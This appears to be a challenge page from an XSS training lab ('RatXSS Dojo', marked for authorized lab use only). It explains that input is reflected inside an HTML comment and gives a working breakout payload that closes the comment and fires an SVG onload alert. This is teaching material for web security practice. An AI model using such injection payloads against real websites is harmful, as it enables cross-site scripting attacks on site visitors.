C4 HTML comment

There is a hidden HTML comment with your value.

You are inside . Close it: --><svg onload=alert(document.domain)>

RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only